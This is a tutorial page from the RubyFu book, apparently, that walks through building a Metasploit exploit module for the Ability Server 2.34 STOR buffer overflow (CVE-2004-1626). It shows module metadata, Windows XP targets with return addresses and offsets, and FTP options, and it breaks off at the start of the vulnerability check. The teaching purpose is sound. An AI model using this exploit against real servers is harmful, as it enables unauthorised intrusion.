<!DOCTYPE HTML>
<html lang="en" >
    
    <head>
        
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <title>Exploit module | RubyFu</title>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <meta name="description" content="">
        <meta name="generator" content="GitBook 2.6.2">
        
        
        <meta name="HandheldFriendly" content="true"/>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="apple-mobile-web-app-status-bar-style" content="black">
        <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
        <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
        
    <link rel="stylesheet" href="../gitbook/style.css">
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-anchors/plugin.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-splitter/splitter.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-highlight/website.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-search/search.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-fontsettings/website.css">
        
    
    
        <link rel="stylesheet" href="../styles/website.css">
    

        
    
    
    <link rel="next" href="../module_0x5__exploitation_kung_fu/meterpreter.html" />
    
    
    <link rel="prev" href="../module_0x5__exploitation_kung_fu/auxiliary_module.html" />
    

        <script type="text/javascript" src="../styles/header.js"></script>
    </head>
    <body>
        
        
    <div class="book"
        data-level="5.2.2"
        data-chapter-title="Exploit module"
        data-filepath="module_0x5__exploitation_kung_fu/exploit_module.md"
        data-basepath=".."
        data-revision="Wed Jan 27 2016 09:00:51 GMT+0300 (AST)"
        data-innerlanguage="">
    

<div class="book-summary">
    <nav role="navigation">
        <ul class="summary">
            
            
            
            

            

            
    
        <li class="chapter " data-level="0" data-path="index.html">
            
                
                    <a href="../index.html">
                
                        <i class="fa fa-check"></i>
                        
                        Module 0x0 | Introduction
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="0.1" data-path="contribution.html">
            
                
                    <a href="../contribution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.1.</b>
                        
                        Contribution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.2" data-path="beginners.html">
            
                
                    <a href="../beginners.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.2.</b>
                        
                        Beginners
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.3" data-path="required_gems.html">
            
                
                    <a href="../required_gems.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.3.</b>
                        
                        Required Gems
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1" data-path="module_0x1__basic_ruby_kung_fu/index.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.</b>
                        
                        Module 0x1 | Basic Ruby Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1" data-path="module_0x1__basic_ruby_kung_fu/string.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/string.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.</b>
                        
                        String
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1.1" data-path="module_0x1__basic_ruby_kung_fu/conversion.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/conversion.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.1.</b>
                        
                        Conversion
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="1.1.2" data-path="module_0x1__basic_ruby_kung_fu/extraction.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/extraction.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.2.</b>
                        
                        Extraction
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="module_0x1__basic_ruby_kung_fu/array.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/array.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.2.</b>
                        
                        Array
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2" data-path="module_0x2__system_kung_fu/index.html">
            
                
                    <a href="../module_0x2__system_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.</b>
                        
                        Module 0x2 | System Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.1" data-path="module_0x2__system_kung_fu/command_execution.html">
            
                
                    <a href="../module_0x2__system_kung_fu/command_execution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.1.</b>
                        
                        Command Execution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.2" data-path="module_0x2__system_kung_fu/file_manipulation.html">
            
                
                    <a href="../module_0x2__system_kung_fu/file_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.</b>
                        
                        File manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.2.1" data-path="module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
            
                
                    <a href="../module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.1.</b>
                        
                        Parsing HTML, XML, JSON
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.3" data-path="module_0x2__system_kung_fu/cryptography.html">
            
                
                    <a href="../module_0x2__system_kung_fu/cryptography.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.3.</b>
                        
                        Cryptography
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4" data-path="module_0x2__system_kung_fu/system_shell.html">
            
                
                    <a href="../module_0x2__system_kung_fu/system_shell.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.</b>
                        
                        Remote Shell
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.4.1" data-path="module_0x2__system_kung_fu/ncatrb.html">
            
                
                    <a href="../module_0x2__system_kung_fu/ncatrb.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.1.</b>
                        
                        Ncat.rb
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4.2" data-path="module_0x2__system_kung_fu/rce_as_a_service.html">
            
                
                    <a href="../module_0x2__system_kung_fu/rce_as_a_service.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.2.</b>
                        
                        RCE as a Service
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.5" data-path="module_0x2__system_kung_fu/virustotal.html">
            
                
                    <a href="../module_0x2__system_kung_fu/virustotal.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.5.</b>
                        
                        VirusTotal
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3" data-path="module_0x3__network_kung_fu/index.html">
            
                
                    <a href="../module_0x3__network_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.</b>
                        
                        Module 0x3 | Network Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.1" data-path="module_0x3__network_kung_fu/ruby_socket.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ruby_socket.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.1.</b>
                        
                        Ruby Socket
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.2" data-path="module_0x3__network_kung_fu/ssid_finder.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssid_finder.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.2.</b>
                        
                        SSID Finder
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.3" data-path="module_0x3__network_kung_fu/ftp.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ftp.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.3.</b>
                        
                        FTP
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.4" data-path="module_0x3__network_kung_fu/ssh.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssh.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.4.</b>
                        
                        SSH
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.5" data-path="module_0x2__system_kung_fu/email.html">
            
                
                    <a href="../module_0x2__system_kung_fu/email.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.</b>
                        
                        Email
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.5.1" data-path="module_0x2__system_kung_fu/smtp_enumeration.html">
            
                
                    <a href="../module_0x2__system_kung_fu/smtp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.1.</b>
                        
                        SMTP Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.6" data-path="module_0x3__network_kung_fu/network_scanning.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_scanning.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.</b>
                        
                        Network Scanning
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.6.1" data-path="module_0x3__network_kung_fu/nmap.html">
            
                
                    <a href="../module_0x3__network_kung_fu/nmap.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.1.</b>
                        
                        Nmap
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.7" data-path="module_0x3__network_kung_fu/dns.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.</b>
                        
                        DNS
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.7.1" data-path="module_0x3__network_kung_fu/dns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.1.</b>
                        
                        DNS Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.8" data-path="module_0x3__network_kung_fu/snmp_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/snmp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.8.</b>
                        
                        SNMP Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.9" data-path="module_0x3__network_kung_fu/tns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/tns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.9.</b>
                        
                        Oracle TNS Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10" data-path="module_0x3__network_kung_fu/packet_manipulation.html">
            
                
                    <a href="../module_0x3__network_kung_fu/packet_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.</b>
                        
                        Packet manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.10.1" data-path="module_0x3__network_kung_fu/arp_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/arp_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.1.</b>
                        
                        ARP Spoofing
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10.2" data-path="module_0x3__network_kung_fu/dns_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.2.</b>
                        
                        DNS Spoofing
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4" data-path="module_0x4__web_kung_fu/index.html">
            
                
                    <a href="../module_0x4__web_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.</b>
                        
                        Module 0x4 | Web Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
            
                
                    <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.1.</b>
                        
                        SQL Injection Scanner
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
            
                
                    <a href="../module_0x4__web_kung_fu/databases.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.2.</b>
                        
                        Databases
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
            
                
                    <a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.3.</b>
                        
                        Extending Burp Suite
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
            
                
                    <a href="../module_0x4__web_kung_fu/browser_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.4.</b>
                        
                        Browser Manipulation
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.</b>
                        
                        Web Services and APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_services.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.1.</b>
                        
                        Interacting with Web Services
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.</b>
                        
                        Interacting with APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/wordpress_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.1.</b>
                        
                        WordPress API
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/twitter_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.2.</b>
                        
                        Twitter API
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
            
                
                    <a href="../module_0x4__web_kung_fu/ruby2javascript.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.6.</b>
                        
                        Ruby 2 JavaScript
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.7.</b>
                        
                        Web Server and Proxy
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.</b>
                        
                        Module 0x5 | Exploitation Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.1.</b>
                        
                        Fuzzer
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasploit.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.</b>
                        
                        Metasploit
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.1.</b>
                        
                        Auxiliary module
                    </a>
            
            
        </li>
    
        <li class="chapter active" data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.2.</b>
                        
                        Exploit module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.</b>
                        
                        Meterpreter
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/extensions.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.1.</b>
                        
                        API and Extensions
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.2.</b>
                        
                        Meterpreter Scripting
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.3.</b>
                        
                        Railgun API Extension
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasm.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.3.</b>
                        
                        metasm
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
            
                
                    <a href="../module_0x6__forensic/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.</b>
                        
                        Module 0x6 | Forensic Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
            
                
                    <a href="../module_0x6__forensic/windows_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.1.</b>
                        
                        Windows Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
            
                
                    <a href="../module_0x6__forensic/android_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.2.</b>
                        
                        Android Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.3.</b>
                        
                        Network Traffic Analysis
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
            
                
                    <a href="../module_0x6__forensic/parsing_log_files.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.4.</b>
                        
                        Parsing Log Files
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="7" data-path="references/index.html">
            
                
                    <a href="../references/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>7.</b>
                        
                        References
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="8" data-path="faqs/index.html">
            
                
                    <a href="../faqs/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>8.</b>
                        
                        FAQs
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="9" data-path="contributors/index.html">
            
                
                    <a href="../contributors/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.</b>
                        
                        Contributors
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="9.1" data-path="contributors/todo.html">
            
                
                    <a href="../contributors/todo.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.1.</b>
                        
                        TODO
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    


            
            <li class="divider"></li>
            <li>
                <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
                    Published with GitBook
                </a>
            </li>
            
        </ul>
    </nav>
</div>

    <div class="book-body">
        <div class="body-inner">
            <div class="book-header" role="navigation">
    <!-- Actions Left -->
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="../" >RubyFu</a>
    </h1>
</div>

            <div class="page-wrapper" tabindex="-1" role="main">
                <div class="page-inner">
                
                
                    <section class="normal" id="section-">
                    
                        <h1 id="exploit-module"><a name="exploit-module" class="plugin-anchor" href="#exploit-module"><span class="fa fa-link"></span></a>Exploit module</h1>
<h2 id="remote-exploit"><a name="remote-exploit" class="plugin-anchor" href="#remote-exploit"><span class="fa fa-link"></span></a>Remote Exploit</h2>
<h3 id="ftp-exploit"><a name="ftp-exploit" class="plugin-anchor" href="#ftp-exploit"><span class="fa fa-link"></span></a>FTP exploit</h3>
<p>Our example will be a very simple vulnerable FTP server called ability server.</p>
<h4 id="what-do-we-want"><a name="what-do-we-want" class="plugin-anchor" href="#what-do-we-want"><span class="fa fa-link"></span></a>What do we want?</h4>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Create Exploit module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Exploit FTP Server</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Set exploit rank</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Describe The module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Let people know we created this module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Add references about the vulnerability that we exploit</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Choose a default payload </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Set the Bad characters.</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Set Disclosure Date</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Targets and it&apos;s return address (EIP offset)</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Options to set the target IP, port. Also username and password if required.</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check the target if vulnerable.</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Send the exploit</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check if the module has been written correctly (msftidy.rb)</li>
</ul>
<h4 id="steps"><a name="steps" class="plugin-anchor" href="#steps"><span class="fa fa-link"></span></a>Steps</h4>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Create Exploit module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Exploit FTP Server</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Put a rank for the module</li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-comment">##</span>
<span class="hljs-comment"># This module requires Metasploit: http://www.metasploit.com/download</span>
<span class="hljs-comment"># Current source: https://github.com/rapid7/metasploit-framework</span>
<span class="hljs-comment">##</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;msf/core&apos;</span>

<span class="hljs-comment">### Module Type ###</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Metasploit3</span> <span class="hljs-inheritance">&lt; <span class="hljs-parent">Msf::Exploit</span></span>::<span class="hljs-title">Remote</span></span>
<span class="hljs-constant">Rank</span> = <span class="hljs-constant">NormalRanking</span>

<span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::Ftp</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Describe The module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Let people know we created this module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Add references about the vulnerability that we exploit</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Choose a default payload </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Set the Bad characters.</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Set Disclosure Date</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Targets and it&apos;s return address (EIP offset)</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Options to set the target IP, port. Also username and password if required.</li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">initialize</span><span class="hljs-params">(info = {})</span></span>
    <span class="hljs-keyword">super</span>(update_info(
      info,
      <span class="hljs-string">&apos;Name&apos;</span>            =&gt; <span class="hljs-string">&apos;Ability Server 2.34 STOR Command Stack Buffer Overflow&apos;</span>,
      <span class="hljs-string">&apos;Description&apos;</span>     =&gt; <span class="hljs-string">%q{
        This module exploits a stack-based buffer overflow in Ability Server 2.34.
        Ability Server fails to check input size when parsing &apos;STOR&apos; and &apos;APPE&apos; commands,
        which leads to a stack based buffer overflow. This plugin uses the &apos;STOR&apos; command.

        The vulnerability has been confirmed on version 2.34 and has also been reported
        in version 2.25 and 2.32. Other versions may also be affected.}</span>,
      <span class="hljs-string">&apos;License&apos;</span>         =&gt; <span class="hljs-constant">MSF_LICENSE</span>,
      <span class="hljs-string">&apos;Author&apos;</span>          =&gt;
        [
          <span class="hljs-string">&apos;muts&apos;</span>,            <span class="hljs-comment"># Initial discovery</span>
          <span class="hljs-string">&apos;Dark Eagle&apos;</span>,      <span class="hljs-comment"># same as muts</span>
          <span class="hljs-string">&apos;Peter Osterberg&apos;</span>, <span class="hljs-comment"># Metasploit</span>
          <span class="hljs-string">&apos;Ruby (@Rubyfu)&apos;</span>,  <span class="hljs-comment"># Just explain the module</span>
        ],
      <span class="hljs-string">&apos;References&apos;</span>      =&gt;
        [
          [ <span class="hljs-string">&apos;CVE&apos;</span>, <span class="hljs-string">&apos;2004-1626&apos;</span> ],
          [ <span class="hljs-string">&apos;OSVDB&apos;</span>, <span class="hljs-string">&apos;11030&apos;</span>],
          [ <span class="hljs-string">&apos;EDB&apos;</span>, <span class="hljs-string">&apos;588&apos;</span>],
          [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;http://rubyfu.net&apos;</span>] <span class="hljs-comment"># Just explain the module</span>
        ],
      <span class="hljs-string">&apos;Platform&apos;</span>        =&gt; <span class="hljs-string">%w{ win }</span>,
      <span class="hljs-string">&apos;Targets&apos;</span>        =&gt;
        [
          [
            <span class="hljs-string">&apos;Windows XP SP2 ENG&apos;</span>,
            {
              <span class="hljs-comment">#JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)</span>
              <span class="hljs-string">&apos;Ret&apos;</span> =&gt; <span class="hljs-number">0x73E32ECF</span>,
              <span class="hljs-string">&apos;Offset&apos;</span> =&gt; <span class="hljs-number">966</span>
            }
          ],
          [
            <span class="hljs-string">&apos;Windows XP SP3 ENG&apos;</span>,
            {
              <span class="hljs-comment">#JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)</span>
              <span class="hljs-string">&apos;Ret&apos;</span> =&gt; <span class="hljs-number">0x7E429353</span>,
              <span class="hljs-string">&apos;Offset&apos;</span> =&gt; <span class="hljs-number">966</span>
            }
          ],
        ],
      <span class="hljs-string">&apos;DefaultTarget&apos;</span>   =&gt; <span class="hljs-number">0</span>,
      <span class="hljs-string">&apos;DisclosureDate&apos;</span> =&gt; <span class="hljs-string">&apos;Oct 22 2004&apos;</span>
    ))

    register_options(
      [
        <span class="hljs-constant">Opt::RPORT</span>(<span class="hljs-number">21</span>),
        <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;FTPUSER&apos;</span>, [ <span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Valid FTP username&apos;</span>, <span class="hljs-string">&apos;ftp&apos;</span> ]),
        <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;FTPPASS&apos;</span>, [ <span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Valid FTP password for username&apos;</span>, <span class="hljs-string">&apos;ftp&apos;</span> ])
      ], <span class="hljs-keyword">self</span>.<span class="hljs-keyword">class</span>)
  <span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check the target if vulnerable.</li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check</span></span>
  connect
  disconnect
  <span class="hljs-keyword">if</span> banner =~ <span class="hljs-regexp">/Ability Server 2\.34/</span>
